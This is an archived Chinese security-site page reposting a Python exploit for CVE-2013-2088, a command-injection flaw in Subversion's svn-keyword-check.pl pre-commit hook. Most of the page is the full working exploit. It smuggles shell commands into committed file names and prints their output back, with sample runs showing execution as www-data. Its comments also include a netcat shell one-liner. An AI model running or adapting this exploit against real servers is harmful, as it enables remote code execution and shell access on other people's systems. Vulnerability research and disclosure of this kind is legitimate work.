| 
 Subversion 1.6.6 / 1.6.12 - Code Execution 
				  | 
 
 
|  
来源:kai@ktechnologies.de 作者:GlacierZ0ne 发布时间:2016-10-13 
   | 
 
 
 
 | 
	 #  This is an exploit for the subversion vulnerability published as CVE-2013-2088.   #  Author: GlacierZ0ne (kai@ktechnologies.de) #  Exploit Type: Code Execution #  Access Type: Authenticated Remote Exploit #  Prerequisites: svn command line client available, #               subversion server exposes webdav through apache, #               user/password with commit privilege   #  The exploit has been tested with the following software:   #  * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit #  * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit #  * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit   #  The following conditions need to be met in order for this to work:   #  The pre-commit script svn-keyword-check.pl needs to be configured as #  pre-commit hook. The version shipped with the subversion 1.6.6 contains #  a bug which prevents it from being used at all. This bug must be fixed #  (otherwise neither the exploit, nor the intented purpose of the script #  will work) #  This perl script can be downloaded from the archive source distribution #  at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23 #  are vulnerable.   #  ###############################################################   #  1. configure the pre-commit hook to use svn-keyword-check.pl   #  ############################################################### #  Copy the svn-keyword-check.pl from the source distribution to the #  /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl #  to pre-commit. Make sure both files are owned by the user running #  apache (e.g. www-data) and have the executable flag set: # #  notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks #  notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit #  notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit #  notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al #  total 76 #  drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 . #  drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 .. #  -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl #  -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl #  -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl #  -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl #  -rwxr-xr-x 1 www-data www-data  604 2016-09-30 13:32 pre-commit #  -rw-r--r-- 1 www-data www-data  609 2016-09-05 19:10 pre-commit.tmpl #  -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl #  -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl #  -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl #  -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl #  -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl #  notroot@ubuntu:/svn/repos/testrepo/hooks$    #  According to the subversion documentation, svn-keyword-check.pl needs #  to be called by pre-commit. svn-keyword-check.pl will return 1 if it #  detects something that should prevent the commit. In that case, the #  subversion server will cancel the commit. Here's how pre-commit looked #  on my test server:   #  notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit #  #!/bin/sh   #  REPOS="$1" #  TXN="$2"   #  # Make sure that the log message contains some text. #  #jSVNLOOK=/usr/bin/svnlook #  $SVNLOOK log -t "$TXN" "$REPOS" | \ #  ep "[a-zA-Z0-9]" > /dev/null || exit 1 #   #  # Exit on all errors. #  set -e #   #  # Check the files that are are listed in "svnlook changed" (except deleted #  # files) for possible problems with svn:keywords set on binary files. #  "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN #  # #  # #  # #   #  # All checks passed, so allow the commit. #  exit 0 #   #  ############################################################### #   #  2. fix the bug in svn-keyword-check.pl #   #  ############################################################### #  The script pre-commit will pass on repository and transaction to #  the script svn-keyword-check.pl. Alternatively, it also accepts #  repository and revision. However, specifying both transaction #  and revision is illegal, only one of them is considered legal. #  This reflects in the input parameter plausibility check #   performed in line 89: #   #  if (defined($transaction) and !defined($revision)) { #      croak "Can't define both revision and transaction!\n"; #  } #   #  Unfortunately, there is an exclamation mark too much. It must #  be #   #  if (defined($transaction) and defined($revision)) { #      croak "Can't define both revision and transaction!\n"; #  } #   #  The way this script is shipped in the 1.6.6 source distribution #  no commit is possible at all. #   #  Before using the exploit you should first commit one file #  manually so that the svn client can store your user/password #  locally. #   #  Then, open a shell and navigate to the directory of your project #  and start python cve-2013-2088-1.py <command>: # #  kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig #  [+] Randfilename is mJHeSkya #  [+] Created random file #  [+] Submitted random file to version control #  [+] Created fake file for cmd execution #  [+] Exploit seems to work:  # #  eth0      Link encap:Ethernet  HWaddr 00:0c:29:08:a3:1a   #            inet addr:192.168.26.136  Bcast:192.168.26.255  Mask:255.255.255.0 #            inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link #            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 #            RX packets:1060 errors:0 dropped:0 overruns:0 frame:0 #            TX packets:806 errors:0 dropped:0 overruns:0 carrier:0 #            collisions:0 txqueuelen:1000  #            RX bytes:172042 (172.0 KB)  TX bytes:136684 (136.6 KB) # #  lo        Link encap:Local Loopback   #            inet addr:127.0.0.1  Mask:255.0.0.0 #            inet6 addr: ::1/128 Scope:Host #            UP LOOPBACK RUNNING  MTU:16436  Metric:1 #            RX packets:0 errors:0 dropped:0 overruns:0 frame:0 #            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 #            collisions:0 txqueuelen:0  #            RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B) # #  kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id #  [+] Randfilename is WmolHiuv #  [+] Created random file #  [+] Submitted random file to version control #  [+] Created fake file for cmd execution #  [+] Exploit seems to work:  # #  uid=33(www-data) gid=33(www-data) groups=33(www-data) # # #  Important things to notice   #  * For each command execution the exploit will put a file under #    version control. If you submit a lot of commands you will #    create a lot of files with random 8 alphanumeric character #    file names in your repository. #  * Your command must not contain a / since file names must not #    contain a /. In the author's test environment the current #    working directory of apache was the root folder /. #    Therefore, the exploit will replace / in the command with #    $(pwd). This worked fine for the author. #    In your environment this might be different. As first thing #    execute $(pwd) in order to check if this works for you, too. #  * The command execution assumes that your command prints something #    to the terminal and exits. If you know your command will not #    immediately terminate (e.g. because you're starting a reverse/ #    bind shell), provide the -d or --dont-terminate flag: #    python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe" # # # import sys import subprocess import argparse import random import os   if __name__ == "__main__":       lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"     slash_replacement = "$(pwd)"       cwd = os.getcwd()       parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]),                         epilog="\x0a\x0a")       parser.add_argument (dest="command", help="Command to execute")     parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.",                          action="store_true")       #     # args handling     #     if (len(sys.argv) <= 1):         parser.print_help ()         sys.exit (0)       args = parser.parse_args ()     if not args.command:         parser.print_help ()         sys.exit (0)       #     # / cannot be used in the command because svn will interprete it as     # file separator. Therefore you have to use a workaround. Here,     # $(pwd) works great for us.     #     command = args.command     if command.find ("/") != -1:         command = command.replace("/", slash_replacement)               #     # prepare output files for stdout, stderr     #     sout = open ("stdout", "w+")     serr = open ("stderr", "w+")       randfilename = ""     for idx in range (0, 8):         randfilename = randfilename + lowerupper [random.randint (0,51)]       print ("[+] Randfilename is {}".format(randfilename))       f = open (randfilename, "w+")     f.write ("You've been pwned by GlacierZ0ne'") # write 4     f.flush ()     f.close ()       p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)],                           stdout=subprocess.PIPE, stderr=subprocess.PIPE)      c = p.communicate ()     sout.write (c[0])     if len(c[1]) > 0:         print ("[-] Create random file failed:")         print (c[1])         sys.exit (0)     print ("[+] Created random file")        p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)],                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)     c = p.communicate ()     sout.write (c[0])     if len(c[1]) > 0:         print ("[-] Submission of random file failed:")         print (c[1])         sys.exit (0)     print ("[+] Submitted random file to version control")       fakefilename = None     if args.dont_terminate == True:         fakefilename = "{}; {}".format (randfilename, command)     else:         fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command)     f = open (fakefilename, "w+")     f.write ("You've been pwned by GlacierZ0ne") # write 4     f.flush ()     f.close ()       p = subprocess.Popen (["svn", "add", "{fakefilename}"                           .format (cwd=cwd, fakefilename=fakefilename)],                           stdout=subprocess.PIPE, stderr=subprocess.PIPE)      c = p.communicate ()     sout.write (c[0])     if len(c[1]) > 0:         print ("[-] Creation of fake file failed:")         print (c[1])         sys.exit (0)     print ("[+] Created fake file for cmd execution")        p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}"                           .format (cwd=cwd, fakefilename=fakefilename)],                           stdout=subprocess.PIPE, stderr=subprocess.PIPE)     c = p.communicate ()     sout.write (c[0])     if len(c[1]) == 0:         if not args.dont_terminate:             print "[-] Something went wrong, pre-commit hook didn't kick in."         else:             print "[!] Done"         sys.exit (0)     else:         idx0= c[1].find ("Commit blocked by pre-commit hook")         idx = c[1].find ("failed with this output")                   if idx0 != -1 and idx != -1:             print ("[+] Exploit seems to work: ")             print (c[1][idx + len("failed with this output") + 1:])           sout.flush ()     sout.close ()     serr.flush ()     serr.close () 
	
  | 
 
 
|   | 
 
  | 
 
 
 
[ 推荐] 
[ 评论(0条)] 
[返回顶部] [打印本页] 
[关闭窗口]    | 
 
 
|  
 | 
 
 
|   | 
 
  | 
 
  
 | 
 
        
  | 
  | 
推荐广告 | 
 
  | 
 
  | 
 
| 
	
		
		
 | 
 
 
 |